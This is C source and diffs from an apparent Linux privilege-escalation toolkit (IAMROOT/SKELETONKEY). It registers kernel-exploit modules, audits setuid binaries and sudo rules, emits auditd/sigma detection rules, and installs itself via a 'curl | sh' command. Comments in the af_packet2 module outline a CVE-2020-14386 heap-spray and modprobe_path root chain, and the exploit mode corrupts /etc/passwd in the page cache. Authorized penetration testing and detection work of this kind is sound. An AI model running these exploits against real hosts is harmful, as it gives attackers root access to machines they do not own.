{"/usr/bin/sudo", "expected setuid; verify integrity + sudoers"},
{"/usr/bin/su", "expected setuid; verify integrity"},
{"/usr/lib/snapd/snap-confine", "Ubuntu snap sandbox-escape history"},
{NULL, NULL},
};
while (fgets(line, sizeof line, p)) {
size_t L = strlen(line);
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
const char *note = "setuid binary — review";
for (size_t i = 0; SUSP[i].path; i++) {
if (strcmp(line, SUSP[i].path) == 0) { note = SUSP[i].note; break; }
}
if (json) {
char *p_esc = json_escape(line);
char *n_esc = json_escape(note);
fprintf(stdout, "%s{\"category\":\"setuid\",\"path\":\"%s\",\"note\":\"%s\"}",
*first_json_emitted ? "," : "",
p_esc ? p_esc : "", n_esc ? n_esc : "");
*first_json_emitted = true;
free(p_esc); free(n_esc);
} else {
struct finding f = { .category = "setuid" };
snprintf(f.path, sizeof f.path, "%s", line);
snprintf(f.note, sizeof f.note, "%s", note);
print_finding_human(&f);
}
n++;
}
pclose(p);
if (count_out) *count_out = n;
return 0;
}
/* Look for world-writable files inside /etc. Catches obviously-broken
* filesystem permissions where any user can edit system config. */
static int audit_world_writable(int *count_out, bool json,
bool *first_json_emitted)
{
static const char *cmd =
"find /etc -xdev -perm -0002 -type f 2>/dev/null";
FILE *p = popen(cmd, "r");
if (!p) return -1;
char line[1024];
int n = 0;
while (fgets(line, sizeof line, p)) {
size_t L = strlen(line);
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
const char *note = "world-writable in /etc — anyone can edit";
if (json) {
char *p_esc = json_escape(line);
fprintf(stdout, "%s{\"category\":\"world_writable\",\"path\":\"%s\",\"note\":\"%s\"}",
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
*first_json_emitted = true;
free(p_esc);
} else {
struct finding f = { .category = "world_writable" };
snprintf(f.path, sizeof f.path, "%s", line);
snprintf(f.note, sizeof f.note, "%s", note);
print_finding_human(&f);
}
n++;
}
pclose(p);
if (count_out) *count_out = n;
return 0;
}
/* Find files with file capabilities set. cap_setuid+ep or
* cap_dac_override+ep on a non-standard binary = potential
* post-exploit persistence or a misconfigured capability grant. */
static int audit_capabilities(int *count_out, bool json,
bool *first_json_emitted)
{
/* getcap is in libcap2-bin / libcap-progs depending on distro;
* skip cleanly if absent. */
if (access("/sbin/getcap", X_OK) != 0
&& access("/usr/sbin/getcap", X_OK) != 0
&& access("/usr/bin/getcap", X_OK) != 0) {
if (!json) {
fprintf(stderr, "[i] audit: getcap not installed — skipping capability scan\n");
}
if (count_out) *count_out = 0;
return 0;
}
static const char *cmd =
"getcap -r /usr/bin /usr/sbin /bin /sbin /usr/local 2>/dev/null";
FILE *p = popen(cmd, "r");
if (!p) return -1;
char line[1024];
int n = 0;
while (fgets(line, sizeof line, p)) {
size_t L = strlen(line);
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
const char *note = "file capability set — verify legitimacy";
if (strstr(line, "cap_setuid+ep") || strstr(line, "cap_setgid+ep")
|| strstr(line, "cap_dac_override+ep") || strstr(line, "cap_sys_admin+ep")) {
note = "high-power cap+ep — privesc-equivalent if attacker-writable";
}
if (json) {
char *p_esc = json_escape(line);
fprintf(stdout, "%s{\"category\":\"capability\",\"path\":\"%s\",\"note\":\"%s\"}",
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
*first_json_emitted = true;
free(p_esc);
} else {
struct finding f = { .category = "capability" };
snprintf(f.path, sizeof f.path, "%s", line);
snprintf(f.note, sizeof f.note, "%s", note);
print_finding_human(&f);
}
n++;
}
pclose(p);
if (count_out) *count_out = n;
return 0;
}
/* Check /etc/sudoers and /etc/sudoers.d for NOPASSWD entries. Many
* setups have legit NOPASSWD for service accounts; flag and let
* operator review. */
static int audit_sudo_nopasswd(int *count_out, bool json,
bool *first_json_emitted)
{
static const char *cmd =
"grep -rIn -E '^[^#].*NOPASSWD' /etc/sudoers /etc/sudoers.d 2>/dev/null";
FILE *p = popen(cmd, "r");
if (!p) return -1;
char line[1024];
int n = 0;
while (fgets(line, sizeof line, p)) {
size_t L = strlen(line);
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
const char *note = "sudo NOPASSWD entry — verify scope";
if (json) {
char *p_esc = json_escape(line);
fprintf(stdout, "%s{\"category\":\"sudo\",\"path\":\"%s\",\"note\":\"%s\"}",
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
*first_json_emitted = true;
free(p_esc);
} else {
struct finding f = { .category = "sudo" };
snprintf(f.path, sizeof f.path, "%s", line);
snprintf(f.note, sizeof f.note, "%s", note);
print_finding_human(&f);
}
n++;
}
pclose(p);
if (count_out) *count_out = n;
return 0;
}
static int cmd_audit(const struct iamroot_ctx *ctx)
{
int n_setuid = 0, n_ww = 0, n_cap = 0, n_sudo = 0;
if (ctx->json) {
fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", IAMROOT_VERSION);
bool first = false;
audit_setuid(&n_setuid, true, &first);
audit_world_writable(&n_ww, true, &first);
audit_capabilities(&n_cap, true, &first);
audit_sudo_nopasswd(&n_sudo, true, &first);
fprintf(stdout, "],\"summary\":{\"setuid\":%d,\"world_writable\":%d,"
"\"capability\":%d,\"sudo_nopasswd\":%d}}\n",
n_setuid, n_ww, n_cap, n_sudo);
} else {
fprintf(stdout, "%-17s %-50s %s\n", "CATEGORY", "PATH", "NOTE");
fprintf(stdout, "%-17s %-50s %s\n", "--------", "----", "----");
bool first = false;
audit_setuid(&n_setuid, false, &first);
audit_world_writable(&n_ww, false, &first);
audit_capabilities(&n_cap, false, &first);
audit_sudo_nopasswd(&n_sudo, false, &first);
fprintf(stderr, "\n[*] audit summary: %d setuid, %d world-writable, "
"%d capability-set, %d sudo NOPASSWD\n",
n_setuid, n_ww, n_cap, n_sudo);
}
return 0;
}
/* --module-info <name>: dump everything we know about one module.
* Human-readable by default, JSON with --json. Includes the full
* detection-rule text bodies for that module. */
static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx)
{
const struct iamroot_module *m = iamroot_module_find(name);
if (!m) {
if (ctx->json) {
fprintf(stdout, "{\"error\":\"module not found\",\"name\":\"%s\"}\n", name);
} else {
fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
}
return 1;
}
if (ctx->json) {
emit_module_json(m, true);
fputc('\n', stdout);
return 0;
}
fprintf(stdout, "name: %s\n", m->name);
fprintf(stdout, "cve: %s\n", m->cve);
fprintf(stdout, "family: %s\n", m->family);
fprintf(stdout, "kernel_range: %s\n", m->kernel_range);
fprintf(stdout, "summary: %s\n", m->summary);
fprintf(stdout, "operations: %s%s%s%s\n",
m->detect ? "detect " : "",
m->exploit ? "exploit " : "",
m->mitigate ? "mitigate " : "",
m->cleanup ? "cleanup " : "");
fprintf(stdout, "detect rules: %s%s%s%s\n",
m->detect_auditd ? "auditd " : "",
m->detect_sigma ? "sigma " : "",
m->detect_yara ? "yara " : "",
m->detect_falco ? "falco " : "");
if (m->detect_auditd) {
fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
}
if (m->detect_sigma) {
fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
}
return 0;
}
static int cmd_scan(const struct iamroot_ctx *ctx)
{
int worst = 0;
size_t n = iamroot_module_count();
if (!ctx->json) {
fprintf(stderr, "[*] iamroot scan: %zu module(s) registered\n", n);
} else {
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
}
for (size_t i = 0; i < n; i++) {
const struct iamroot_module *m = iamroot_module_at(i);
if (m->detect == NULL) continue;
iamroot_result_t r = m->detect(ctx);
if (ctx->json) {
fprintf(stdout, "%s{\"name\":\"%s\",\"cve\":\"%s\",\"result\":\"%s\"}",
(i == 0 ? "" : ","), m->name, m->cve, result_str(r));
} else {
fprintf(stdout, "[%s] %-20s %-18s %s\n",
result_str(r), m->name, m->cve, m->summary);
}
/* track worst (highest) result code as overall exit */
if ((int)r > worst) worst = (int)r;
}
if (ctx->json) {
fprintf(stdout, "]}\n");
}
return worst;
}
/* Dump detection rules for every registered module in the requested
* format. Modules that don't ship a rule for that format are simply
* skipped (no error). Output goes to stdout so it can be redirected
* straight into /etc/audit/rules.d/, the SIEM, etc. */
static int cmd_detect_rules(enum detect_format fmt)
{
static const char *fmt_names[] = {
[FMT_AUDITD] = "auditd",
[FMT_SIGMA] = "sigma",
[FMT_YARA] = "yara",
[FMT_FALCO] = "falco",
};
size_t n = iamroot_module_count();
fprintf(stdout, "# IAMROOT detection rules — format: %s\n", fmt_names[fmt]);
fprintf(stdout, "# Generated from %zu registered modules\n", n);
fprintf(stdout, "# AUTHORIZED-TESTING tool; see docs/ETHICS.md\n\n");
/* Dedup by pointer: family-shared rule strings (e.g. all 5
* copy_fail_family modules share one auditd rule string) would
* otherwise emit identical blocks once per module. */
const char *seen[64] = {0};
size_t n_seen = 0;
int emitted = 0;
for (size_t i = 0; i < n; i++) {
const struct iamroot_module *m = iamroot_module_at(i);
const char *rules = NULL;
switch (fmt) {
case FMT_AUDITD: rules = m->detect_auditd; break;
case FMT_SIGMA: rules = m->detect_sigma; break;
case FMT_YARA: rules = m->detect_yara; break;
case FMT_FALCO: rules = m->detect_falco; break;
}
if (rules == NULL) continue;
/* Already emitted? */
bool dup = false;
for (size_t k = 0; k < n_seen; k++) {
if (seen[k] == rules) { dup = true; break; }
}
if (dup) {
fprintf(stdout, "# === %s (%s) — see family rules above ===\n\n",
m->name, m->cve);
continue;
}
if (n_seen < sizeof(seen)/sizeof(seen[0])) seen[n_seen++] = rules;
fprintf(stdout, "# === %s (%s) ===\n", m->name, m->cve);
fputs(rules, stdout);
fputc('\n', stdout);
emitted++;
}
fprintf(stderr, "[*] emitted detection rules for %d / %zu module(s) (format: %s)\n",
emitted, n, fmt_names[fmt]);
return 0;
}
static int cmd_one(const struct iamroot_module *m, const char *op,
const struct iamroot_ctx *ctx)
{
iamroot_result_t (*fn)(const struct iamroot_ctx *) = NULL;
if (strcmp(op, "exploit") == 0) fn = m->exploit;
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
else if (strcmp(op, "cleanup") == 0) fn = m->cleanup;
if (fn == NULL) {
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
return 1;
}
iamroot_result_t r = fn(ctx);
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
return (int)r;
}
int main(int argc, char **argv)
{
/* Bring up the module registry. As new families land, add their
* register_* call here. */
iamroot_register_copy_fail_family();
iamroot_register_dirty_pipe();
iamroot_register_entrybleed();
iamroot_register_pwnkit();
iamroot_register_nf_tables();
iamroot_register_overlayfs();
iamroot_register_cls_route4();
iamroot_register_dirty_cow();
iamroot_register_ptrace_traceme();
iamroot_register_netfilter_xtcompat();
iamroot_register_af_packet();
iamroot_register_fuse_legacy();
iamroot_register_stackrot();
iamroot_register_af_packet2();
iamroot_register_cgroup_release_agent();
iamroot_register_overlayfs_setuid();
iamroot_register_nft_set_uaf();
iamroot_register_af_unix_gc();
iamroot_register_nft_fwd_dup();
iamroot_register_nft_payload();
enum mode mode = MODE_SCAN;
struct iamroot_ctx ctx = {0};
const char *target = NULL;
int i_know = 0;
enum detect_format dr_fmt = FMT_AUDITD;
static struct option longopts[] = {
{"scan", no_argument, 0, 'S'},
{"list", no_argument, 0, 'L'},
{"exploit", required_argument, 0, 'E'},
{"mitigate", required_argument, 0, 'M'},
{"cleanup", required_argument, 0, 'C'},
{"detect-rules", no_argument, 0, 'D'},
{"module-info", required_argument, 0, 'I'},
{"audit", no_argument, 0, 'A'},
{"format", required_argument, 0, 6 },
{"i-know", no_argument, 0, 1 },
{"active", no_argument, 0, 2 },
{"no-shell", no_argument, 0, 3 },
{"json", no_argument, 0, 4 },
{"no-color", no_argument, 0, 5 },
{"full-chain", no_argument, 0, 7 },
{"version", no_argument, 0, 'V'},
{"help", no_argument, 0, 'h'},
{0, 0, 0, 0}
};
int c, opt_idx;
while ((c = getopt_long(argc, argv, "SLDAE:M:C:I:Vh", longopts, &opt_idx)) != -1) {
switch (c) {
case 'S': mode = MODE_SCAN; break;
case 'L': mode = MODE_LIST; break;
case 'D': mode = MODE_DETECT_RULES; break;
case 'A': mode = MODE_AUDIT; break;
case 'I': mode = MODE_MODULE_INFO; target = optarg; break;
case 'E': mode = MODE_EXPLOIT; target = optarg; break;
case 'M': mode = MODE_MITIGATE; target = optarg; break;
case 'C': mode = MODE_CLEANUP; target = optarg; break;
case 1 : i_know = 1; ctx.authorized = true; break;
case 2 : ctx.active_probe = true; break;
case 3 : ctx.no_shell = true; break;
case 4 : ctx.json = true; break;
case 5 : ctx.no_color = true; break;
case 7 : ctx.full_chain = true; break;
case 6 :
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
else if (strcmp(optarg, "yara") == 0) dr_fmt = FMT_YARA;
else if (strcmp(optarg, "falco") == 0) dr_fmt = FMT_FALCO;
else { fprintf(stderr, "[-] unknown --format: %s\n", optarg); return 1; }
break;
case 'V': printf("iamroot %s\n", IAMROOT_VERSION); return 0;
case 'h': mode = MODE_HELP; break;
default: usage(argv[0]); return 1;
}
}
if (mode == MODE_HELP) {
fputs(BANNER, stderr);
usage(argv[0]);
return 0;
}
if (!ctx.json) fputs(BANNER, stderr);
if (mode == MODE_SCAN) return cmd_scan(&ctx);
if (mode == MODE_LIST) return cmd_list(&ctx);
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
/* --exploit / --mitigate / --cleanup all take a target */
if (target == NULL) {
fprintf(stderr, "[-] mode requires a module name\n");
return 1;
}
const struct iamroot_module *m = iamroot_module_find(target);
if (m == NULL) {
fprintf(stderr, "[-] no module '%s'. Try --list.\n", target);
return 1;
}
if (mode == MODE_EXPLOIT) {
if (!i_know) {
fprintf(stderr,
"[-] --exploit requires --i-know. This will attempt to gain\n"
" root and corrupt /etc/passwd in the page cache.\n"
" Authorized testing only. See docs/ETHICS.md.\n");
return 1;
}
return cmd_one(m, "exploit", &ctx);
}
if (mode == MODE_MITIGATE) return cmd_one(m, "mitigate", &ctx);
if (mode == MODE_CLEANUP) return cmd_one(m, "cleanup", &ctx);
usage(argv[0]);
return 1;
}
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@@ -1,29 +1,34 @@
#!/usr/bin/env bash
# IAMROOT one-shot installer.
# SKELETONKEY one-shot installer.
#
# Usage:
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
#
# Or with explicit version:
# IAMROOT_VERSION=v0.1.0 curl ... | sh
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
#
# Or install to a different prefix:
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
#
# Environment:
# IAMROOT_VERSION release tag (default: latest)
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
# SKELETONKEY_VERSION release tag (default: latest)
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
#
# Exit codes:
# 0 — installed successfully
# 1 — error (unsupported arch, download failure, permission denied)
set -euo pipefail
# POSIX-friendly: -eu is universal, pipefail only on shells that
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
# installer still exits on the first hard error since every curl/
# tar/install step is checked explicitly.
set -eu
(set -o pipefail) 2>/dev/null && set -o pipefail || true
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
VERSION="${IAMROOT_VERSION:-latest}"
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
VERSION="${SKELETONKEY_VERSION:-latest}"
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
@@ -32,7 +37,19 @@ fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
# Detect architecture
arch=$(uname -m)
case "$arch" in
x86_64|amd64) target=x86_64 ;;
# x86_64 default: the musl-static binary works on every libc
# (glibc 2.x of any version, musl, uclibc) — costs ~800 KB extra
# vs the dynamic build but eliminates the GLIBC_2.NN portability
# ceiling that bit users on Debian-stable / older RHEL hosts.
# Set SKELETONKEY_DYNAMIC=1 to fetch the smaller dynamic build
# (needs glibc >= 2.38, i.e. Ubuntu 24.04 / Debian 13 / RHEL 10).
x86_64|amd64)
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
target=x86_64
else
target=x86_64-static
fi
;;
aarch64|arm64) target=arm64 ;;
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
esac
@@ -40,11 +57,11 @@ log "detected arch: $target"
# Resolve version → download URL
if [ "$VERSION" = "latest" ]; then
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
else
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
fi
log "downloading from: $url"
@@ -56,18 +73,18 @@ fi
tmp=$(mktemp -d)
trap 'rm -rf "$tmp"' EXIT
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
fi
# Verify checksum if available
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
# The .sha256 file has the binary's original name; normalize for our local copy
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
if command -v sha256sum >/dev/null 2>&1; then
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
elif command -v shasum >/dev/null 2>&1; then
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
else
actual=""
log "no sha256sum/shasum available — skipping checksum verification"
@@ -83,17 +100,17 @@ else
log "no checksum file at $sha_url — skipping verification"
fi
chmod +x "$tmp/iamroot"
chmod +x "$tmp/skeletonkey"
# Install. Try $PREFIX directly; if not writable, sudo.
target_path="$PREFIX/iamroot"
target_path="$PREFIX/skeletonkey"
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
mv "$tmp/iamroot" "$target_path"
mv "$tmp/skeletonkey" "$target_path"
elif command -v sudo >/dev/null 2>&1; then
log "$PREFIX needs sudo; you may be prompted for password"
sudo mv "$tmp/iamroot" "$target_path"
sudo mv "$tmp/skeletonkey" "$target_path"
else
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
fi
ok "installed: $target_path"
@@ -104,10 +121,10 @@ cat >&2 <<EOF
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
Quickstart:
sudo iamroot --scan # what's this box vulnerable to?
sudo iamroot --audit # broader system hygiene
sudo iamroot --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
sudo skeletonkey --scan # what's this box vulnerable to?
sudo skeletonkey --audit # broader system hygiene
sudo skeletonkey --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
See \`iamroot --help\` for all commands.
See \`skeletonkey --help\` for all commands.
EOF
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@@ -1,27 +0,0 @@
# Fragnesia — CVE pending
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
> Phase 7+.
## Summary
ESP shared-frag in-place encrypt path can be coerced into writing
into the page cache of an unrelated file. Same primitive shape as
Dirty Frag, different reach.
## Status
Audit-stage. See
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
section on backup primitives. Notably: trigger appears to require
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
cap-dead, but on host systems where user_ns clone is enabled it's
reachable.
## Decision needed before implementing
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
yes, this module ships. If we restrict to "default Linux user
account, no namespace tricks," this module is out of scope.
## Not started.
@@ -0,0 +1,28 @@
# NOTICE — af_packet2 (CVE-2020-14386)
## Vulnerability
**CVE-2020-14386** — AF_PACKET `tpacket_rcv` VLAN integer underflow
(`maclen = skb_network_offset(skb)` when network header precedes
maclen) → 8-byte heap OOB write at the start of the next slab object.
## Research credit
Discovered and disclosed by **Or Cohen** (Palo Alto Networks),
September 2020.
Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
## SKELETONKEY role
Sibling of CVE-2017-7308; same subsystem, different code path.
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
attempts the Or-Cohen-style sk_buff data-pointer hijack through
the shared finisher.
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
module so detection signatures dedupe cleanly.
@@ -1,12 +0,0 @@
/*
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
*/
#ifndef AF_PACKET2_IAMROOT_MODULES_H
#define AF_PACKET2_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet2_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet2_cve_2020_14386 IAMROOT module
* af_packet2_cve_2020_14386 SKELETONKEY module
*
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow heap
* write-before-allocation. Different bug from CVE-2017-7308 same
@@ -10,12 +10,12 @@
* - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
* behavior kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page
@@ -43,11 +43,8 @@
* before backport. Embedded systems with 4.x kernels still in production.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -55,13 +52,19 @@
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
#ifdef __linux__
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
@@ -72,52 +75,6 @@
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <poll.h>
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
#ifndef __linux__
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define ETH_P_ALL 0x0003
#define ETH_P_8021Q 0x8100
#define ETH_P_8021AD 0x88A8
#define ETH_P_IP 0x0800
#define ETH_ALEN 6
#define ETH_HLEN 14
#define VLAN_HLEN 4
#define IFF_UP 0x01
#define IFF_RUNNING 0x40
#define SIOCSIFFLAGS 0x8914
#define SIOCGIFINDEX 0x8933
#define SIOCGIFFLAGS 0x8913
#define SOL_PACKET 263
#define PACKET_RX_RING 5
#define PACKET_VERSION 10
#define PACKET_QDISC_BYPASS 20
#define TPACKET_V2 1
#define PACKET_HOST 0
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
struct pollfd { int fd; short events, revents; };
#define POLLIN 0x001
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
#define MAP_SHARED 0x01
#define MAP_LOCKED 0x2000
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define MAP_FAILED ((void *)-1)
#endif
static const struct kernel_patched_from af_packet2_patched_branches[] = {
{4, 9, 235},
@@ -135,62 +92,53 @@ static const struct kernel_range af_packet2_range = {
sizeof(af_packet2_patched_branches[0]),
};
static int can_unshare_userns(void)
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release);
v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
bool patched = kernel_range_is_patched(&af_packet2_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -223,8 +171,6 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
* the primitive. It does not land cred overwrite.
*/
#ifdef __linux__
